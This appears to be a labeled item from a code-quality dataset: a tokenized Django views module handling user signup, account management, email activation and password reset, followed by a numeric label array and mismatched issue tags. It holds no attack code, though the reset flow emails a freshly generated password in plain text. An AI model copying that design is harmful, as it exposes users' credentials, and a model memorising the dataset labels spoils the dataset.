[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "bf", "orms", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Respons", "e", "Redirect_", ",_", "Http", "Respons", "e", "Forbidden_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "helpers_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "REDIRECT", "\\u", "FIE", "LD", "\\u", "NAME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "as_", "setti", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "import_", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "views_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "exceptions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "helpers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "mail_", "import_", "send", "\\u", "mail_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "._", "loader_", "import_", "render", "\\u", "to", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "._", "base_", "import_", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "._", "edit_", "import_", "Form", "Mixin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "decorators_", "import_", "method", "\\u", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "import_", "Templa", "te", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "generic_", "._", "edit_", "import_", "Form", "Mixin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "create", "\\u", "user_", "=_", "Form", "Creat", "e", "User_", "._", "as", "\\u", "view_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "\\u", "manage_", "=_", "User", "Manage", "View_", "._", "as", "\\u", "view_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reset", "\\u", "password_", "=_", "Reset", "Password_", "._", "as", "\\u", "view_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reset", "\\u", "password", "\\u", "done_", "=_", "Reset", "Passw", "ord", "Done_", "._", "as", "\\u", "view_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Form", "Creat", "e", "User_", "(_", "Form", "Mixin_", ",_", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form", "\\u", "class_", "=_", "bf", "orms", "_", "._", "User", "Creat", "ion", "Form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "name_", "=_", "'", "registration", "/", "create", "\\u", "user", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "{_", "'", "form", "'_", ":_", "'", "form", "'_", ",_", "'", "login", "form", "'_", ":_", "'", "login", "form", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success", "\\u", "url_", "=_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Form", "Creat", "e", "User_", "(_", "Form", "Mixin_", ",_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "bf", "orms", "_", "._", "User", "Creat", "ion", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login", "form_", "=_", "bf", "orms", "_", "._", "Logi", "n", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "payload_", "[_", "'", "form", "'_", "]_", "=_", "form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "payload_", "[_", "'", "login", "form", "'_", "]_", "=_", "login", "form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "self_", "._", "request_", ",_", "self_", "._", "payload_", ",_", "'", "registration", "/", "create", "\\u", "user", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Form", "Creat", "e", "User_", "(_", "Form", "Mixin_", ",_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "form", "\\u", "valid_", "(_", "self_", ",_", "form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "authenticate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "authenticate_", "(_", "username_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "user", "name", "'_", "]_", ",_", "password_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "password", "1", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "login_", "(_", "request_", ",_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "super_", "(_", "Form", "Creat", "e", "User_", ",_", "self_", ")_", "._", "form", "\\u", "valid_", "(_", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "All", "ow", "s", " ", "a", " ", "user", " ", "to", " ", "manage", " ", "thei", "r", " ", "account", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "template", "\\u", "name_", "=_", "'", "news", "/", "userm", "anag", "e", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password", "\\u", "form", "\\u", "class_", "=_", "bf", "orms", "_", "._", "Passw", "ord", "Change", "Form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "topic", "\\u", "form", "\\u", "class_", "=_", "bf", "orms", "_", "._", "Set", "Default", "Form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "method", "\\u", "decorator_", "(_", "login", "\\u", "required_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dispatch_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "User", "Manage", "View_", ",_", "self_", ")_", "._", "dispatch_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subs_", "=_", "Subscrib", "ed", "User_", "._", "objects_", "._", "filter_", "(_", "user_", "=_", "self_", "._", "request_", "._", "user_", ")_", "._", "select", "\\u", "related_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password", "change", "form_", "=_", "self_", "._", "password", "\\u", "form", "\\u", "class_", "(_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "invite", "s_", "=_", "Invite", "_", "._", "objects_", "._", "filter_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def", "\\u", "topic", "\\u", "form_", "=_", "self_", "._", "def", "\\u", "topic", "\\u", "form", "\\u", "class_", "(_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "dict_", "(_", "subs_", "=_", "subs_", ",_", "form_", "=_", "password", "change", "form_", ",_", "invite", "s_", "=_", "invite", "s_", ",_", "def", "\\u", "topic", "\\u", "form_", "=_", "def", "\\u", "topic", "\\u", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "self_", "._", "request_", ",_", "payload_", ",_", "'", "news", "/", "userm", "anag", "e", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "POST_", "._", "has", "\\u", "key_", "(_", "'", "remove", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "topic", "\\u", "name_", "=_", "request_", "._", "POST_", "[_", "'", "topic", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topic_", "=_", "Topic_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "topic", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "=_", "Subscrib", "ed", "User_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ",_", "topic_", "=_", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "POST_", "._", "has", "\\u", "key_", "(_", "'", "change", "password", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password", "change", "form_", "=_", "self_", "._", "password", "\\u", "form", "\\u", "class_", "(_", "request_", "._", "user_", ",_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "password", "change", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password", "change", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "form", "\\u", "valid_", "(_", "password", "change", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "form", "\\u", "invalid_", "(_", "password", "change", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request_", "._", "POST_", "._", "has", "\\u", "key_", "(_", "'", "setd", "ef", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "def", "\\u", "topic", "\\u", "form", " ", "=", " ", "bf", "orms", ".", "Set", "Default", "Form", "(", "request", ".", "user", ",", " ", "request", ".", "POST", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def", "\\u", "topic", "\\u", "form_", "=_", "self_", "._", "def", "\\u", "topic", "\\u", "form", "\\u", "class_", "(_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "def", "\\u", "topic", "\\u", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def", "\\u", "topic", "\\u", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "form", "\\u", "valid_", "(_", "def", "\\u", "topic", "\\u", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "form", "\\u", "invalid_", "(_", "def", "\\u", "topic", "\\u", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "return", " ", "Http", "Respons", "e", "Redirect", "('.", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "success", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "reverse_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "manage", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Manage", "View_", "(_", "Templa", "te", "View_", ",_", "Form", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "form", "\\u", "valid_", "(_", "self_", ",_", "form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "object", " ", "=", " ", "self", ".", "get", "\\u", "object", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "record", " ", "the", " ", "interest", " ", "usi", "ng", " ", "the", " ", "message", " ", "in", " ", "form", ".", "clean", "ed", "\\u", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "User", "Manage", "View_", ",_", "self_", ")_", "._", "form", "\\u", "valid_", "(_", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "activat", "e\\u", "user_", "(_", "request_", ",_", "username_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "User_", "._", "objects_", "._", "get_", "(_", "username_", "=_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "Ema", "il", "Activat", "ion", "Key_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Ema", "il", "Activat", "ion", "Key_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Respons", "e", "Forbidden_", "(_", "'", "The", " ", "activ", "ion", " ", "key", " ", "was", " ", "wrong", ".", " ", "You", "r", " ", "email", " ", "coul", "d", " ", "not", " ", "be", " ", "validat", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request", "\\u", "key_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "key", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request", "\\u", "key_", "==_", "key_", "._", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profile_", "=_", "user_", "._", "get", "\\u", "profile_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile_", "._", "email", "\\u", "validated_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "payload_", ",_", "'", "registration", "/", "email", "\\u", "validat", "ed", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Respons", "e", "Forbidden_", "(_", "'", "The", " ", "activation", " ", "key", " ", "was", " ", "wrong", ".", " ", "You", "r", " ", "email", " ", "coul", "d", " ", "not", " ", "be", " ", "validat", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Reset", "Password_", "(_", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "{_", "'", "form", "'_", ":_", "'", "form", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Reset", "Password_", "(_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "bf", "orms", "_", "._", "Passw", "ord", "Reset", "Form_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "payload_", "[_", "'", "form", "'_", "]_", "=_", "form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "self_", "._", "payload_", ",_", "'", "registration", "/", "reset", "\\u", "password", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reset", "Password_", "(_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "bf", "orms", "_", "._", "Passw", "ord", "Reset", "Form_", "(_", "request_", "._", "POST_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "payload_", "[_", "'", "form", "'_", "]_", "=_", "form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "reverse_", "(_", "'", "reset", "\\u", "password", "\\u", "sent", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "self_", "._", "payload_", ",_", "'", "registration", "/", "reset", "\\u", "password", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "reset", "\\u", "password", "\\u", "sent_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "payload_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "payload_", ",_", "'", "registration", "/", "reset", "\\u", "password", "\\u", "sent", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Reset", "Passw", "ord", "Done_", "(_", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "registr", "ion", "/", "password", "\\u", "reset", "\\u", "don", "e", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Reset", "Passw", "ord", "Done_", "(_", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "username_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "User_", "._", "objects_", "._", "get_", "(_", "username_", "=_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "key_", "=_", "Passw", "ord", "Reset", "Key_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Passw", "ord", "Reset", "Key_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Respons", "e", "Forbidden_", "(_", "'", "The", " ", "key", " ", "you", " ", "provided", " ", "was", " ", "wrong", ".", " ", "You", "r", " ", "password", " ", "coul", "d", " ", "not", " ", "be", " ", "reset", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request", "\\u", "key_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "key", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request", "\\u", "key_", "==_", "key_", "._", "key_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "password_", "=_", "helpers_", "._", "generat", "e\\u", "random", "\\u", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "._", "set\\u", "password_", "(_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "\\u", "text_", "=_", "render", "\\u", "to", "\\u", "string_", "(_", "'", "registra", "ion", "/", "password", "\\u", "reset", "\\u", "don", "e", ".", "txt", "'_", ",_", "dict_", "(_", "user_", "=_", "user_", ",_", "password_", "=_", "password_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "send", "\\u", "mail_", "(_", "'", "Passw", "ord", " ", "reset", "'_", ",_", "mail", "\\u", "text_", ",_", "'", "hell", "o", "@", "4", "2t", "opi", "cs", ".", "com", "'_", ",_", "[_", "user_", "._", "email_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payload_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "payload_", ",_", "'", "registration", "/", "password", "\\u", "reset", "\\u", "don", "e", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Respons", "e", "Forbidden_", "(_", "'", "The", " ", "key", " ", "you", " ", "provided", " ", "was", " ", "wrong", ".", " ", "You", "r", " ", "password", " ", "coul", "d", " ", "nit", " ", "be", " ", "reset", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
martine/bloat/bloat.py
